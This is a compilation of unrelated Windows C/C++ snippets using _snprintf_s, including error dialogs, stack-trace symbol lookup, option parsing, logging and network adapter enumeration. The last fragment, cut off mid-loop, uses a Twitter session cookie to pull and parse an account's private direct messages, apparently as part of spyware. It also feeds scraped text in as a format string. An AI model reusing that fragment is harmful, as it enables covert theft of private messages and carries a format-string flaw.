	case OPENTEXTOUTPUTFILE_ERROR:
		break;

	case FILEREAD_ERROR:
		strcpy_s(header, sizeof(header), "Read Error, file not read in.");
		if(_tcslen(AppendBuffer) != 0)
		{
			_snprintf_s(message, SIZE_128, SIZE_128, "A Read Error occured while reading\nmemory associated with file:\n  %s",
				AppendBuffer);
		}
		else
		{
			strcpy_s(message, sizeof(message), header);
		}
		break;

	case FILEWRITE_ERROR:
		strcpy_s(header, sizeof(header), "Write Error, file may not have properly written to disk.");
		if(_tcslen(AppendBuffer) != 0)
		{
			_snprintf_s(message, SIZE_128, SIZE_128, "A Write Error occured while writing\nmemory associated with file:\n  %s",
				AppendBuffer);
		}
		else
		{
			strcpy_s(message, sizeof(message), header);
		}
		break;

	case WRONGFILETYPE_ERROR:
		strcpy_s(header, sizeof(header), "Wrong File Type Error");
		if(_tcslen(AppendBuffer) != 0)
			_snprintf_s(message, SIZE_128, SIZE_128, "%s\nis the wrong file type for this application", AppendBuffer);
		else
			strcpy_s(message, sizeof(message), header);
		break;
	case INVALIDHANDLE_ERROR:
		strcpy_s(header, sizeof(header), "Invalid Handle");
		if(_tcslen(AppendBuffer) != 0)
		{
			_snprintf_s(message, SIZE_128, SIZE_128, "The handle to file\n  %s\nis invalid so the file can't be accessed",
				AppendBuffer);
		}
		else
		{
			strcpy_s(message, sizeof(message), "The handle to the requested file is\ninvalid and therefore inaccessable");
		}
		break;

	case USERMODELLINELENGTHEXCEEDED_ERROR:
		strcpy_s(header, sizeof(header), "User Model Maximum Line Length Exceeded");
		if(_tcslen(AppendBuffer) != 0)
			_snprintf_s(message, SIZE_128, SIZE_128, "File %s\nhas too many columns of data.\nFile not read in.", AppendBuffer);
		else
			strcpy_s(message, sizeof(message), header);
		break;

	case UNRECOGNIZED_SPECIES_MATRIX_PARAM_ERROR:
		strcpy_s(header, sizeof(header), "Species File Param Unrecognized");
		if(_tcslen(AppendBuffer) != 0)
			_snprintf_s(message, SIZE_128, SIZE_128, "File %s\nhas an unrecognized model type.\nFile not read in.", AppendBuffer);
		else
			strcpy_s(message, sizeof(message), header);
		break;
	default:
		strcpy_s(header, sizeof(message), "Unknown Error");
		if(_tcslen(AppendBuffer) != 0)
			_snprintf_s(message, SIZE_128, SIZE_128, "File %s\nhas an unknown error.  File not read in.", AppendBuffer);
		else
			strcpy_s(message, sizeof(message), header);
		break;
	}
	MessageBox(Hwnd, message, header, MB_ICONEXCLAMATION);
}
Exemple #21
0
int StackTrace::GetSymbolInfo(Address address, char* symbol, int maxSymbolLen)
{
    if (!InitSymbols())
        return 0;

    // Start with address.
    int charsAdded = 
        _snprintf_s(symbol, maxSymbolLen, _TRUNCATE, "%p ", address);
    symbol += charsAdded;
    maxSymbolLen -= charsAdded;
    if (maxSymbolLen < 0)
        return charsAdded;

    const DWORD64 address64 = (DWORD64)address;
    // Module name
    IMAGEHLP_MODULE64 moduleInfo;
    ZeroMemory(&moduleInfo, sizeof(moduleInfo));
    moduleInfo.SizeOfStruct = sizeof(moduleInfo);
    const HANDLE hCurrentProcess = GetCurrentProcess();
    if (SymGetModuleInfo64(hCurrentProcess, address64, &moduleInfo))
    {
        char moduleName[_MAX_PATH + 1];
        GetFileFromPath(moduleInfo.ImageName, moduleName, _MAX_PATH);
        const int moduleLen = (int)strlen(moduleName);
        strncpy_s(symbol, maxSymbolLen, moduleName, _TRUNCATE);
        symbol += moduleLen;
        charsAdded += moduleLen;
        maxSymbolLen -= moduleLen;
    }
    if (maxSymbolLen <= 0)
        return charsAdded;

    // Symbol name
    ULONG64 symbolBuffer[(sizeof(SYMBOL_INFO) + MAX_SYM_NAME*sizeof(TCHAR) +
            sizeof(ULONG64) - 1) / sizeof(ULONG64)] = { 0 };
    IMAGEHLP_SYMBOL64* symbolInfo = reinterpret_cast<IMAGEHLP_SYMBOL64*>(symbolBuffer);
    symbolInfo->SizeOfStruct = sizeof(IMAGEHLP_SYMBOL64);
    symbolInfo->MaxNameLength = MAX_SYM_NAME;
    DWORD64 disp(0);
    if (SymGetSymFromAddr64(hCurrentProcess, address64, &disp, symbolInfo))
    {
        const int symbolChars =
            _snprintf_s(symbol, maxSymbolLen, _TRUNCATE, " %s + 0x%X", symbolInfo->Name, disp);
        symbol += symbolChars;
        maxSymbolLen -= symbolChars;
        charsAdded += symbolChars;
    }
    if (maxSymbolLen <= 0)
        return charsAdded;

    // File + line
    DWORD displacementLine;
    IMAGEHLP_LINE64 lineInfo;
    ZeroMemory(&lineInfo, sizeof(lineInfo));
    lineInfo.SizeOfStruct = sizeof(lineInfo);
    if (SymGetLineFromAddr64(hCurrentProcess, address64, &displacementLine, &lineInfo))
    {
        char fileName[_MAX_PATH + 1];
        GetFileFromPath(lineInfo.FileName, fileName, _MAX_PATH);
        int fileLineChars(0);
        if (displacementLine > 0)
        {
            fileLineChars = _snprintf_s(symbol, maxSymbolLen, _TRUNCATE, 
                " %s(%d+%04d byte(s))", fileName, lineInfo.LineNumber, displacementLine);
        }
        else
        {
            fileLineChars = _snprintf_s(symbol, maxSymbolLen, _TRUNCATE,
                " %s(%d)", fileName, lineInfo.LineNumber);
        }
        symbol += fileLineChars;
        maxSymbolLen -= fileLineChars;
        charsAdded += fileLineChars;
    }
    return charsAdded;
}
Exemple #22
0
static void nn_process_option (struct nn_parse_context *ctx,
                               int opt_index, char *argument)
{
    struct nn_option *opt;
    struct nn_enum_item *items;
    char *endptr;
    struct nn_blob *blob;
    FILE *file;
    char *data;
    size_t data_len;
    size_t data_buf;
    size_t bytes_read;

    opt = &ctx->options[opt_index];
    if (ctx->mask & opt->conflicts_mask) {
        nn_option_conflict (ctx, opt_index);
    }
    ctx->mask |= opt->mask_set;

    switch (opt->type) {
    case NN_OPT_HELP:
        nn_print_help (ctx, stdout);
        exit (0);
        return;
    case NN_OPT_INT:
        *(long *)(((char *)ctx->target) + opt->offset) = strtol (argument,
                &endptr, 0);
        if (endptr == argument || *endptr != 0) {
            nn_option_error ("requires integer argument",
                             ctx, opt_index);
        }
        return;
    case NN_OPT_INCREMENT:
        *(int *)(((char *)ctx->target) + opt->offset) += 1;
        return;
    case NN_OPT_DECREMENT:
        *(int *)(((char *)ctx->target) + opt->offset) -= 1;
        return;
    case NN_OPT_ENUM:
        items = (struct nn_enum_item *)opt->pointer;
        for (; items->name; ++items) {
            if (!strcmp (items->name, argument)) {
                *(int *)(((char *)ctx->target) + opt->offset) = \
                        items->value;
                return;
            }
        }
        nn_invalid_enum_value (ctx, opt_index, argument);
        return;
    case NN_OPT_SET_ENUM:
        *(int *)(((char *)ctx->target) + opt->offset) = \
                *(int *)(opt->pointer);
        return;
    case NN_OPT_STRING:
        *(char **)(((char *)ctx->target) + opt->offset) = argument;
        return;
    case NN_OPT_BLOB:
        blob = (struct nn_blob *)(((char *)ctx->target) + opt->offset);
        blob->data = argument;
        blob->length = strlen (argument);
        blob->need_free = 0;
        return;
    case NN_OPT_FLOAT:
#if defined NN_HAVE_WINDOWS
        *(float *)(((char *)ctx->target) + opt->offset) =
            (float) atof (argument);
#else
        *(float *)(((char *)ctx->target) + opt->offset) =
            strtof (argument, &endptr);
        if (endptr == argument || *endptr != 0) {
            nn_option_error ("requires float point argument",
                             ctx, opt_index);
        }
#endif
        return;
    case NN_OPT_LIST_APPEND:
        nn_append_string (ctx, opt, argument);
        return;
    case NN_OPT_LIST_APPEND_FMT:
        data_buf = strlen (argument) + strlen (opt->pointer);
        data = malloc (data_buf);
#if defined NN_HAVE_WINDOWS
        data_len = _snprintf_s (data, data_buf, _TRUNCATE, opt->pointer,
                                argument);
#else
        data_len = snprintf (data, data_buf, opt->pointer, argument);
#endif
        assert (data_len < data_buf);
        nn_append_string (ctx, opt, data);
        nn_append_string_to_free (ctx, opt, data);
        return;
    case NN_OPT_READ_FILE:
        if (!strcmp (argument, "-")) {
            file = stdin;
        } else {
            file = fopen (argument, "r");
            if (!file) {
                fprintf (stderr, "Error opening file ``%s'': %s\n",
                         argument, strerror (errno));
                exit (2);
            }
        }
        data = malloc (4096);
        if (!data)
            nn_memory_error (ctx);
        data_len = 0;
        data_buf = 4096;
        for (;;) {
            bytes_read = fread (data + data_len, 1, data_buf - data_len,
                                file);
            data_len += bytes_read;
            if (feof (file))
                break;
            if (data_buf - data_len < 1024) {
                if (data_buf < (1 << 20)) {
                    data_buf *= 2;  /* grow twice until not too big */
                } else {
                    data_buf += 1 << 20;  /* grow 1 Mb each time */
                }
                data = realloc (data, data_buf);
                if (!data)
                    nn_memory_error (ctx);
            }
        }
        if (data_len != data_buf) {
            data = realloc (data, data_len);
            assert (data);
        }
        if (ferror (file)) {
#if defined _MSC_VER
#pragma warning (push)
#pragma warning (disable:4996)
#endif
            fprintf (stderr, "Error reading file ``%s'': %s\n",
                     argument, strerror (errno));
#if defined _MSC_VER
#pragma warning (pop)
#endif
            exit (2);
        }
        if (file != stdin) {
            fclose (file);
        }
        blob = (struct nn_blob *)(((char *)ctx->target) + opt->offset);
        blob->data = data;
        blob->length = data_len;
        blob->need_free = 1;
        return;
    }
    abort ();
}
//
//  FUNCTION: About(HWND, unsigned, WORD, LONG)
//
//  PURPOSE:  Processes messages for "About" dialog box
//       This version allows greater flexibility over the contents of the 'About' box,
//       by pulling out values from the 'Version' resource.
//
//  MESSAGES:
//
// WM_INITDIALOG - initialize dialog box
// WM_COMMAND    - Input received
//
//
LRESULT CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
   static  HFONT hfontDlg;    // Font for dialog text
   static   HFONT hFinePrint; // Font for 'fine print' in dialog
   DWORD   dwVerInfoSize;     // Size of version information block
   LPSTR   lpVersion;         // String pointer to 'version' text
   DWORD   dwVerHnd=0;        // An 'ignored' parameter, always '0'
   UINT    uVersionLen;
   BOOL    bRetCode;
   int     i;
   char    szFullPath[256];
   char    szResult[256];
   char    szGetName[256];
   DWORD dwVersion;
   char  szVersion[40];
   DWORD dwResult;

   switch (message)
   {
   case WM_INITDIALOG:
      // hide window while it's being constructed
      ShowWindow (hDlg, SW_HIDE);

      // crate and load the fonts to be used for the text
      hfontDlg = CreateFont(14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                            VARIABLE_PITCH | FF_SWISS, "");
      hFinePrint = CreateFont(11, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
                              VARIABLE_PITCH | FF_SWISS, "");

      // position the window in the center of the parent
      CenterWindow (hDlg, GetWindow (hDlg, GW_OWNER));

      // get the .exe path
      GetModuleFileName ((HINSTANCE)(GetWindowLongPtr(hDlg, GWLP_HINSTANCE)),
                         szFullPath, sizeof(szFullPath));

      // Now lets dive in and pull out the version information:
      dwVerInfoSize = GetFileVersionInfoSize(szFullPath, &dwVerHnd);
      if (dwVerInfoSize)
      {
         LPSTR   lpstrVffInfo;
         HANDLE  hMem;
         hMem = GlobalAlloc(GMEM_MOVEABLE, dwVerInfoSize);
         lpstrVffInfo  = GlobalLock(hMem);
         GetFileVersionInfo(szFullPath, dwVerHnd, dwVerInfoSize, lpstrVffInfo);
         // The below 'hex' value looks a little confusing, but
         // essentially what it is, is the hexidecimal representation
         // of a couple different values that represent the language
         // and character set that we are wanting string values for.
         // 040904E4 is a very common one, because it means:
         //   US English, Windows MultiLingual characterset
         // Or to pull it all apart:
         // 04------        = SUBLANG_ENGLISH_USA
         // --09----        = LANG_ENGLISH
         // --11----        = LANG_JAPANESE
         // ----04E4 = 1252 = Codepage for Windows:Multilingual

         _snprintf_s(szGetName, 256, _TRUNCATE, "%sProductName", GetStringRes(IDS_VER_INFO_LANG));

         // Set the title of the dialog:
         bRetCode = VerQueryValue((LPVOID)lpstrVffInfo,
                                  (LPSTR)szGetName,
                                  (LPVOID)&lpVersion,
                                  (UINT *)&uVersionLen);

         // Notice order of version and string...
         _snprintf_s(szResult, 256, _TRUNCATE, "About %s", lpVersion);

         // set dialog caption
         SetWindowText (hDlg, szResult);

         // Walk through the dialog items that we want to replace:
         for (i = DLG_VERFIRST; i <= DLG_VERLAST; i++)
         {
            GetDlgItemText(hDlg, i, szResult, sizeof(szResult));
            _snprintf_s(szGetName, 256, _TRUNCATE, "%s%s", GetStringRes(IDS_VER_INFO_LANG), szResult);
            uVersionLen   = 0;
            lpVersion     = NULL;
            bRetCode      =  VerQueryValue((LPVOID)lpstrVffInfo,
                                           (LPSTR)szGetName,
                                           (LPVOID)&lpVersion,
                                           (UINT *)&uVersionLen);

            if ( bRetCode && uVersionLen && lpVersion)
            {
               // Replace dialog item text with version info
               strncpy_s(szResult, 256, lpVersion, _TRUNCATE);
               SetDlgItemText(hDlg, i, szResult);
            }
            else
            {
               dwResult = GetLastError();

               _snprintf_s(szResult, 256, _TRUNCATE, GetStringRes(IDS_VERSION_ERROR), dwResult);
               SetDlgItemText (hDlg, i, szResult);
            }
            SendMessage (GetDlgItem (hDlg, i), WM_SETFONT,
                         (UINT_PTR)((i==DLG_VERLAST)?hFinePrint:hfontDlg),
                         TRUE);
         } // for (i = DLG_VERFIRST; i <= DLG_VERLAST; i++)

         GlobalUnlock(hMem);
         GlobalFree(hMem);

      }
      else
      {
         // No version information available.

      } // if (dwVerInfoSize)

      SendMessage (GetDlgItem (hDlg, IDC_LABEL), WM_SETFONT,
                   (WPARAM)hfontDlg,(LPARAM)TRUE);

      // We are  using GetVersion rather then GetVersionEx
      // because earlier versions of Windows NT and Win32s
      // didn't include GetVersionEx:
      dwVersion = GetVersion();

      if (dwVersion < 0x80000000)
      {
         // Windows NT
         _snprintf_s(szVersion, 40, _TRUNCATE, "Microsoft Windows NT %u.%u (Build: %u)",
                   (DWORD)(LOBYTE(LOWORD(dwVersion))),
                   (DWORD)(HIBYTE(LOWORD(dwVersion))),
                   (DWORD)(HIWORD(dwVersion)) );
      }
      else if (LOBYTE(LOWORD(dwVersion))<4)
      {
         // Win32s
         _snprintf_s(szVersion, 40, _TRUNCATE, "Microsoft Win32s %u.%u (Build: %u)",
                   (DWORD)(LOBYTE(LOWORD(dwVersion))),
                   (DWORD)(HIBYTE(LOWORD(dwVersion))),
                   (DWORD)(HIWORD(dwVersion) & ~0x8000) );
      }
      else
      {
         // Windows 95
         _snprintf_s(szVersion, 40, _TRUNCATE, "Microsoft Windows 95 %u.%u",
                   (DWORD)(LOBYTE(LOWORD(dwVersion))),
                   (DWORD)(HIBYTE(LOWORD(dwVersion))) );
      }

      SetWindowText (GetDlgItem(hDlg, IDC_OSVERSION), szVersion);

      // now display the finished product
      ShowWindow (hDlg, SW_SHOW);
      return (TRUE);

   case WM_COMMAND:
      if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
      {
         EndDialog(hDlg, TRUE);
         DeleteObject (hfontDlg);
         DeleteObject (hFinePrint);
         return (TRUE);
      }
      break;
   }

   return FALSE;
}
bool BrowserFactory::AttachToBrowser(ProcessWindowInfo* process_window_info,
                                     const int timeout_in_milliseconds,
                                     const bool ignore_zoom_setting,
                                     std::string* error_message) {
  LOG(TRACE) << "Entering BrowserFactory::AttachToBrowser";
  clock_t end = clock() + (timeout_in_milliseconds / 1000 * CLOCKS_PER_SEC);
  while (process_window_info->hwndBrowser == NULL) {
    if (timeout_in_milliseconds > 0 && (clock() > end)) {
      break;
    }
    ::EnumWindows(&BrowserFactory::FindBrowserWindow,
                  reinterpret_cast<LPARAM>(process_window_info));
    if (process_window_info->hwndBrowser == NULL) {
      ::Sleep(250);
    }
  }

  if (process_window_info->hwndBrowser == NULL) {
    int attach_fail_msg_count = _scprintf(ATTACH_TIMEOUT_ERROR_MESSAGE,
                                          process_window_info->dwProcessId,
                                          timeout_in_milliseconds);
    vector<char> attach_fail_msg_buffer(attach_fail_msg_count + 1);
    _snprintf_s(&attach_fail_msg_buffer[0],
                attach_fail_msg_buffer.size(),
                attach_fail_msg_count,
                ATTACH_TIMEOUT_ERROR_MESSAGE,
                process_window_info->dwProcessId,
                timeout_in_milliseconds);
    std::string attach_fail_msg = &attach_fail_msg_buffer[0];
    *error_message = attach_fail_msg;
    return false;
  }

  CComPtr<IHTMLDocument2> document;
  if (this->GetDocumentFromWindowHandle(process_window_info->hwndBrowser,
                                        &document)) {
    CComPtr<IHTMLWindow2> window;
    HRESULT hr = document->get_parentWindow(&window);

    // Test for zoom level = 100%
    int zoom_level = 100;
    LOG(DEBUG) << "Ignoring zoom setting: " << ignore_zoom_setting;
    if (!ignore_zoom_setting) {
      zoom_level = this->GetZoomLevel(document, window);
    }
    if (zoom_level != 100) {
      vector<char> zoom_level_buffer(10);
      _itoa_s(zoom_level, &zoom_level_buffer[0], 10, 10);
      std::string zoom(&zoom_level_buffer[0]);
      *error_message = "Browser zoom level was set to " + zoom + "%. It should be set to 100%";
      return false;
    }
    if (SUCCEEDED(hr)) {
      // http://support.microsoft.com/kb/257717
      CComPtr<IServiceProvider> provider;
      window->QueryInterface<IServiceProvider>(&provider);
      if (provider) {
        CComPtr<IServiceProvider> child_provider;
        hr = provider->QueryService(SID_STopLevelBrowser,
                                    IID_IServiceProvider,
                                    reinterpret_cast<void**>(&child_provider));
        if (SUCCEEDED(hr)) {
          IWebBrowser2* browser;
          hr = child_provider->QueryService(SID_SWebBrowserApp,
                                            IID_IWebBrowser2,
                                            reinterpret_cast<void**>(&browser));
          if (SUCCEEDED(hr)) {
            process_window_info->pBrowser = browser;
            return true;
          } else {
            LOGHR(WARN, hr) << "IServiceProvider::QueryService for SID_SWebBrowserApp failed";
          }
        } else {
          LOGHR(WARN, hr) << "IServiceProvider::QueryService for SID_STopLevelBrowser failed";
        }
      } else {
        LOG(WARN) << "QueryInterface for IServiceProvider failed";
      }
    } else {
      LOGHR(WARN, hr) << "Call to IHTMLDocument2::get_parentWindow failed";
    }
  } else {
    *error_message = "Could not get document from window handle";
  }
  return false;
}
/*
 * return an array of IP_ADAPTER_ADDRESSES containing one element
 * for each adapter on the system. Returned in *adapters.
 * Buffer is malloc'd and must be freed (unless error returned)
 */
static int getAdapters (JNIEnv *env, IP_ADAPTER_ADDRESSES **adapters) {
    DWORD ret, flags;
    IP_ADAPTER_ADDRESSES *adapterInfo;
    ULONG len;
    char *error_msg_buf = NULL;
    size_t error_msg_buf_size =
            strlen("IP Helper Library GetAdaptersAddresses function failed"
                   " with error == ") + 10;
    int _ret = 0;


    adapterInfo = (IP_ADAPTER_ADDRESSES *)malloc (bufsize);
    if (adapterInfo == NULL) {
        JNU_ThrowByName(env, "java/lang/OutOfMemoryError",
            "Native heap allocation failure");
        return -1;
    }

    len = bufsize;
    flags = GAA_FLAG_SKIP_DNS_SERVER;
    flags |= GAA_FLAG_SKIP_MULTICAST;
    flags |= GAA_FLAG_INCLUDE_PREFIX;
    ret = GetAdaptersAddresses(AF_UNSPEC, flags, NULL, adapterInfo, &len);

    if (ret == ERROR_BUFFER_OVERFLOW) {
        IP_ADAPTER_ADDRESSES * newAdapterInfo = NULL;
        if (len  < (ULONG_MAX - bufsize)) {
            len = len + bufsize;
        }
        newAdapterInfo =
            (IP_ADAPTER_ADDRESSES *) realloc (adapterInfo, len);
        if (newAdapterInfo == NULL) {
            free(adapterInfo);
            JNU_ThrowByName(env, "java/lang/OutOfMemoryError",
                "Native heap allocation failure");
            return -1;
        }

        adapterInfo = newAdapterInfo;

        ret = GetAdaptersAddresses(AF_UNSPEC, flags, NULL, adapterInfo, &len);
    }

    if (ret != ERROR_SUCCESS) {
        free (adapterInfo);
        if (ret == ERROR_INSUFFICIENT_BUFFER) {
            JNU_ThrowByName(env, "java/lang/Error",
                "IP Helper Library GetAdaptersAddresses function failed "
                "with ERROR_INSUFFICIENT_BUFFER");
        } else if (ret == ERROR_ADDRESS_NOT_ASSOCIATED ) {
            JNU_ThrowByName(env, "java/lang/Error",
                "IP Helper Library GetAdaptersAddresses function failed "
                "with ERROR_ADDRESS_NOT_ASSOCIATED");
        } else {
            error_msg_buf = (char *)malloc(error_msg_buf_size);
            if (error_msg_buf != NULL) {
                memset(error_msg_buf, 0, error_msg_buf_size);
                _ret = _snprintf_s(error_msg_buf, error_msg_buf_size,
                    _TRUNCATE, "IP Helper Library GetAdaptersAddresses "
                                "function failed with error == %d", ret);
                if (_ret != -1) {
                    JNU_ThrowByName(env, "java/lang/Error", error_msg_buf);
                } else {
                    JNU_ThrowByName(env, "java/lang/Error",
                        "IP Helper Library GetAdaptersAddresses function failure");
                }
            } else {
                JNU_ThrowByName(env, "java/lang/Error",
                    "IP Helper Library GetAdaptersAddresses function failed");
            }
        }
        return -1;
    }
    *adapters = adapterInfo;
    return ERROR_SUCCESS;
}
Exemple #26
0
bool LogerManager::pushLog(LoggerId id, int level, const char * log, const char * file, int line)
{
	// discard log
	if (id < 0 || id > _lastId || !_runing || !_loggers[id]._enable)
	{
		return false;
	}

	//filter log
	if (level < _loggers[id]._level)
	{
		return false;
	}

	//create log data
	LogData * pLog = new LogData;
	pLog->_id =id;
	pLog->_level = level;
	
	//append precise time to log
	{
#ifdef WIN32
		FILETIME ft;
		GetSystemTimeAsFileTime(&ft);
		unsigned long long now = ft.dwHighDateTime;
		now <<= 32;
		now |= ft.dwLowDateTime;
		now /=10;
		now -=11644473600000000ULL;
		now /=1000;
		pLog->_time = now/1000;
		pLog->_precise = (unsigned int)(now%1000);
#else
		struct timeval tm;
		gettimeofday(&tm, NULL);
		pLog->_time = tm.tv_sec;
		pLog->_precise = tm.tv_usec/1000;
#endif
	}

	//format log
	{
		tm tt = timeToTm(pLog->_time);
		if (file == NULL || !_loggers[pLog->_id]._fileLine)
		{
#ifdef WIN32
			int ret = _snprintf_s(pLog->_content, LOG4Z_LOG_BUF_SIZE, _TRUNCATE, "%d-%02d-%02d %02d:%02d:%02d.%03d %s %s \r\n",
				tt.tm_year + 1900, tt.tm_mon + 1, tt.tm_mday, tt.tm_hour, tt.tm_min, tt.tm_sec, pLog->_precise,
				LOG_STRING[pLog->_level], log);
			if (ret == -1)
			{
				ret = LOG4Z_LOG_BUF_SIZE - 1;
			}
			pLog->_contentLen = ret;
#else
			int ret = snprintf(pLog->_content, LOG4Z_LOG_BUF_SIZE, "%d-%02d-%02d %02d:%02d:%02d.%03d %s %s \r\n",
				tt.tm_year + 1900, tt.tm_mon + 1, tt.tm_mday, tt.tm_hour, tt.tm_min, tt.tm_sec, pLog->_precise,
				LOG_STRING[pLog->_level], log);
			if (ret == -1)
			{
				ret = 0;
			}
			if (ret >= LOG4Z_LOG_BUF_SIZE)
			{
				ret = LOG4Z_LOG_BUF_SIZE-1;
			}

			pLog->_contentLen = ret;
#endif
		}
		else
		{
			const char * pNameBegin = file+strlen(file);
			do 
			{
				if (*pNameBegin == '\\' || *pNameBegin == '/'){ pNameBegin++; break;}
				if (pNameBegin == file){break;}
				pNameBegin--;
			} while (true);
			
			
#ifdef WIN32
			int ret = _snprintf_s(pLog->_content, LOG4Z_LOG_BUF_SIZE, _TRUNCATE, "%d-%02d-%02d %02d:%02d:%02d.%03d %s %s (%s):%d \r\n",
				tt.tm_year + 1900, tt.tm_mon + 1, tt.tm_mday, tt.tm_hour, tt.tm_min, tt.tm_sec, pLog->_precise,
				LOG_STRING[pLog->_level], log, pNameBegin, line);
			if (ret == -1)
			{
				ret = LOG4Z_LOG_BUF_SIZE - 1;
			}
			pLog->_contentLen = ret;
#else
			int ret = snprintf(pLog->_content, LOG4Z_LOG_BUF_SIZE, "%d-%02d-%02d %02d:%02d:%02d.%03d %s %s (%s):%d \r\n",
				tt.tm_year + 1900, tt.tm_mon + 1, tt.tm_mday, tt.tm_hour, tt.tm_min, tt.tm_sec, pLog->_precise,
				LOG_STRING[pLog->_level], log, pNameBegin, line);
			if (ret == -1)
			{
				ret = 0;
			}
			if (ret >= LOG4Z_LOG_BUF_SIZE)
			{
				ret = LOG4Z_LOG_BUF_SIZE-1;
			}

			pLog->_contentLen = ret;
#endif
		}
	
		if (pLog->_contentLen >= 2)
		{
			pLog->_content[pLog->_contentLen - 2] = '\r';
			pLog->_content[pLog->_contentLen - 1] = '\n';
		}
	
	}

	if (_loggers[pLog->_id]._display && LOG4Z_ALL_SYNCHRONOUS_OUTPUT)
	{
		showColorText(pLog->_content, pLog->_level);
	}

	if (LOG4Z_ALL_DEBUGOUTPUT_DISPLAY && LOG4Z_ALL_SYNCHRONOUS_OUTPUT)
	{
#ifdef WIN32
		OutputDebugStringA(pLog->_content);
#endif
	}

	if (_loggers[pLog->_id]._outfile && LOG4Z_ALL_SYNCHRONOUS_OUTPUT)
	{
		AutoLock l(_logLock);
		if (openLogger(pLog))
		{
			_loggers[pLog->_id]._handle.write(pLog->_content, pLog->_contentLen);
			closeLogger(pLog->_id);
			_ullStatusTotalWriteFileCount++;
			_ullStatusTotalWriteFileBytes += pLog->_contentLen;
		}
	}

	if (LOG4Z_ALL_SYNCHRONOUS_OUTPUT)
	{
		delete pLog;
		return true;
	}
	
	AutoLock l(_logLock);
	_logs.push_back(pLog);
	_ullStatusTotalPushLog ++;
	return true;
}
DWORD ParseDirectMessages(char *username, char *cookie)
{
	DWORD ret_val, response_len;
	BYTE *r_buffer = NULL, *thread_buffer = NULL;
	char *parser1, *parser2, *thread_parser1, *thread_parser2;
	char strCurrentThreadHandle[512];
	WCHAR strConversationRequest[512];
	char strDmType[24];
	char strDmContent[256];
	char strTimestamp[256];
	DWORD last_tstamp_hi, last_tstamp_lo;
	ULARGE_INTEGER act_tstamp;
	struct tm tstamp;
	char strUsernameForDm[256];
	DWORD dwHigherBatchTimestamp = 0;


#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif

	/* use a new username for twitter dm since the timestamp would be the one we got from the timeline */
	_snprintf_s(strUsernameForDm, sizeof(strUsernameForDm), _TRUNCATE, "%s-twitterdm", username);
	last_tstamp_lo = SocialGetLastTimestamp(strUsernameForDm, &last_tstamp_hi);
	if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP)
		return SOCIAL_REQUEST_BAD_COOKIE;


	ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", L"/messages?last_note_ts=0&since_id=0", 443, NULL, 0, &r_buffer, &response_len, cookie, L"https://twitter.com/");

	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *) r_buffer;

	/*	Fetch the available threads
		e.g. "threads":["duilio_ebooks","duiliosagese","thegrugq_ebooks"] 
	*/
	parser1 = strstr(parser1, "\"threads\":[");
	if( !parser1 )
	{
		SAFE_FREE(r_buffer);
		return -1;
	}

	parser1 = parser1 + strlen("\"threads\":[");
	parser2 = strstr(parser1, "\"]},");

	if( !parser2 )
	{
		zfree(r_buffer);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}
	parser2 += 1; // skip past last '"'
	*parser2 = NULL;

#ifdef _DEBUG
	OutputDebug(L"[*] %S - available threads %S\n", __FUNCTION__, parser1);
#endif
	
	/*	loop through the list of available threads pointed by parser1 and requests its content 
		e.g. "duilio_ebooks","duiliosagese","thegrugq_ebooks"
	*/
	for( ;; ) {
		parser1 = strchr(parser1, '"');
		if( !parser1 )
			break;

		parser1 += 1; // skip past '"'

		parser2 = strchr(parser1, '"');
		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(strCurrentThreadHandle, sizeof(strCurrentThreadHandle), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - parsing thread %S\n", __FUNCTION__, strCurrentThreadHandle);
#endif

		/*	fetch conversation
			e.g. /messages/with/conversation?id=duilio_ebooks&last_note_ts=0 
		*/
		_snwprintf_s(strConversationRequest, sizeof(strConversationRequest)/sizeof(WCHAR), _TRUNCATE, L"/messages/with/conversation?id=%S&last_note_ts=0", strCurrentThreadHandle);
		ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", strConversationRequest, 443, NULL, 0, &thread_buffer, &response_len, cookie, L"https://twitter.com/");

		/* if the request is not successful assume some serious issue happened, free resources and bail */
		if (ret_val != SOCIAL_REQUEST_SUCCESS)
		{
			zfree(thread_buffer);
			zfree(r_buffer);
			return ret_val;

		}

		/* direct message structure:
			1] start of a new message: '<div class="dm sent js-dm-item' or 'div class=\"dm received js-dm-item'
				find '<div class="dm ' (N.B space after dm) then decode whether it's send or received
			2] content:  <p class="js-tweet-text tweet-text" >MESSAGE</p>
			3] timestamp: data-time="1414592790"
		*/

		thread_parser1 = (char *) thread_buffer;

		/* parse all the messages belonging to a conversation, when there aren't messages left bail */
		for( ;; )
		{

			thread_parser1 = strstr(thread_parser1, TWITTER_DM_ITEM); // START HERE: can't find TWITTER_DM_ITEM
			if( !thread_parser1 )
				break;

			thread_parser1 += strlen(TWITTER_DM_ITEM);

			thread_parser2 = strchr(thread_parser1, ' '); // skip past sent or received
			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strDmType, sizeof(strDmType), _TRUNCATE, thread_parser1);
			thread_parser2 +=1;

			
#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm type: '%S'\n", __FUNCTION__, strDmType);
#endif		

			thread_parser1 = strstr(thread_parser2, TWITTER_DM_CONTENT);
			if( !thread_parser1 )
				break;

			thread_parser1 = strstr(thread_parser1, "\\u003e"); // encoded '>'
			if( !thread_parser1 )
				break;

			thread_parser1 += strlen("\\u003e");
			thread_parser2 = strstr(thread_parser1, "\\u003c\\/p\\u003e"); // encoded </p>
			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strDmContent, sizeof(strDmContent), _TRUNCATE, thread_parser1);
			thread_parser1 = thread_parser2 + 1;

#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm content: '%S'\n", __FUNCTION__, strDmContent);
#endif	

			thread_parser1 = strstr(thread_parser1, TWITTER_DM_TIMESTAMP_START);
			if( !thread_parser1 )
				break;
			
